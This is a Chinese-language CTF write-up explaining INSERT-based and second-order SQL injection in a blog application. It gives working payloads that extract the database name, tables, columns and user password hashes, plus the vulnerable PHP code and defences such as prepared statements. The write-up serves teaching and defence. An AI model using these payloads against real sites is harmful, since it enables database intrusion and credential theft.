一次insert注入引发的思考
字数 1424 2025-08-26 22:11:45

INSERT注入与二次注入技术详解

一、注入技术概述

本文通过分析一个实际的CTF题目案例,详细讲解INSERT注入和二次注入两种SQL注入技术的原理、利用方式和防御方法。

二、INSERT注入分析

1. 漏洞环境

题目是一个博客系统,主要功能点:

  • 用户登录后可以提交标题和内容
  • 提交内容处存在SQL注入漏洞
  • 回显位置在提交页面和user.php页面

2. 注入点发现

通过测试发现content参数存在注入漏洞,构造如下payload:

POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(database()),'a

3. 注入利用步骤

(1) 获取数据库名

POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(database()),'a

返回数据库名:miniblog

(2) 获取表名

POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'a

返回表名:posts,users

(3) 获取列名

POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273),'a

返回users表的列名:username,password

(4) 获取数据

POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(username,password) from users),'a

返回用户凭证:

  • admin:dbb616c5d935d8f34c12c291066d6fb7
  • (melody123)admin:8beac31ce70381dca1107195809d9f23
  • a:0cc175b9c0f1b6a831c399e269772661

4. 漏洞代码分析

关键漏洞代码:

$title = htmlspecialchars($_POST['title']);
$content = htmlspecialchars($_POST['content']);
$username = addslashes($_SESSION['username']);
$sql = "INSERT INTO `posts` VALUES(NULL,'{$title}', '{$content}','{$username}')";

问题:

  • 虽然使用了htmlspecialchars过滤,但对SQL注入无效
  • 构造的SQL语句最终形式:
INSERT INTO `posts` VALUES(NULL,'1a', '1','4'),('a',(database()),'a','{$username}')

三、二次注入分析

1. 二次注入原理

二次注入的特点是:

  1. 恶意数据首先被插入到数据库中
  2. 之后从数据库取出该数据并用于SQL查询
  3. 导致SQL注入发生

2. 题目中的二次注入

在登录后的代码中存在二次注入:

$sql = "SELECT * FROM `posts` WHERE username='{$_SESSION['username']}';";

$_SESSION['username']的值来自数据库查询:

$sql = "SELECT * FROM `users` WHERE username = '{$username}'";
$result = $conn->query($sql);
$row = $result->fetch_assoc();
$_SESSION['username'] = $row['username'];

3. 二次注入利用

注册恶意用户:

  • 用户名:admin' or 1#
  • 登录后,查询语句变为:
SELECT * FROM `posts` WHERE username='admin' or 1#'

这将返回所有提交记录,实现越权访问。

四、防御措施

1. 针对INSERT注入

  1. 参数化查询:使用预处理语句

    $stmt = $conn->prepare("INSERT INTO posts VALUES (NULL, ?, ?, ?)");
    $stmt->bind_param("sss", $title, $content, $username);
    
  2. 严格输入验证

    • 对标题和内容长度限制
    • 使用白名单验证输入格式
  3. 最小权限原则:数据库用户只授予必要权限

2. 针对二次注入

  1. 数据一致性检查

    • 从数据库取出的数据应再次验证
    • 使用类型转换确保数据格式
  2. 输出编码

    • 根据上下文使用适当的编码(HTML、SQL、URL等)
  3. 会话数据验证

    if(!preg_match('/^[a-zA-Z0-9_]+$/', $_SESSION['username'])) {
        // 非法用户名格式
    }
    

五、技术对比

特性 INSERT注入 二次注入
触发时机 立即执行 数据被再次使用时触发
利用方式 直接构造恶意SQL 先存储后触发
防御难度 较容易防御 较难发现和防御
常见场景 数据插入操作 数据重用场景

六、总结

  1. INSERT注入是直接通过插入操作执行的SQL注入
  2. 二次注入需要两个阶段:存储恶意数据和后续触发
  3. 防御需要多层次措施:输入验证、参数化查询、输出编码
  4. 从数据库取出的数据应视为不可信数据,需要重新验证

通过深入理解这两种注入技术,开发人员可以更好地设计和实现安全的Web应用程序。

INSERT注入与二次注入技术详解 一、注入技术概述 本文通过分析一个实际的CTF题目案例,详细讲解INSERT注入和二次注入两种SQL注入技术的原理、利用方式和防御方法。 二、INSERT注入分析 1. 漏洞环境 题目是一个博客系统,主要功能点: 用户登录后可以提交标题和内容 提交内容处存在SQL注入漏洞 回显位置在提交页面和user.php页面 2. 注入点发现 通过测试发现 content 参数存在注入漏洞,构造如下payload: 3. 注入利用步骤 (1) 获取数据库名 返回数据库名: miniblog (2) 获取表名 返回表名: posts,users (3) 获取列名 返回users表的列名: username,password (4) 获取数据 返回用户凭证: admin:dbb616c5d935d8f34c12c291066d6fb7 (melody123)admin:8beac31ce70381dca1107195809d9f23 a:0cc175b9c0f1b6a831c399e269772661 4. 漏洞代码分析 关键漏洞代码: 问题: 虽然使用了 htmlspecialchars 过滤,但对SQL注入无效 构造的SQL语句最终形式: 三、二次注入分析 1. 二次注入原理 二次注入的特点是: 恶意数据首先被插入到数据库中 之后从数据库取出该数据并用于SQL查询 导致SQL注入发生 2. 题目中的二次注入 在登录后的代码中存在二次注入: $_SESSION['username'] 的值来自数据库查询: 3. 二次注入利用 注册恶意用户: 用户名: admin' or 1# 登录后,查询语句变为: 这将返回所有提交记录,实现越权访问。 四、防御措施 1. 针对INSERT注入 参数化查询 :使用预处理语句 严格输入验证 : 对标题和内容长度限制 使用白名单验证输入格式 最小权限原则 :数据库用户只授予必要权限 2. 针对二次注入 数据一致性检查 : 从数据库取出的数据应再次验证 使用类型转换确保数据格式 输出编码 : 根据上下文使用适当的编码(HTML、SQL、URL等) 会话数据验证 : 五、技术对比 | 特性 | INSERT注入 | 二次注入 | |------------|-------------------------|-------------------------| | 触发时机 | 立即执行 | 数据被再次使用时触发 | | 利用方式 | 直接构造恶意SQL | 先存储后触发 | | 防御难度 | 较容易防御 | 较难发现和防御 | | 常见场景 | 数据插入操作 | 数据重用场景 | 六、总结 INSERT注入是直接通过插入操作执行的SQL注入 二次注入需要两个阶段:存储恶意数据和后续触发 防御需要多层次措施:输入验证、参数化查询、输出编码 从数据库取出的数据应视为不可信数据,需要重新验证 通过深入理解这两种注入技术,开发人员可以更好地设计和实现安全的Web应用程序。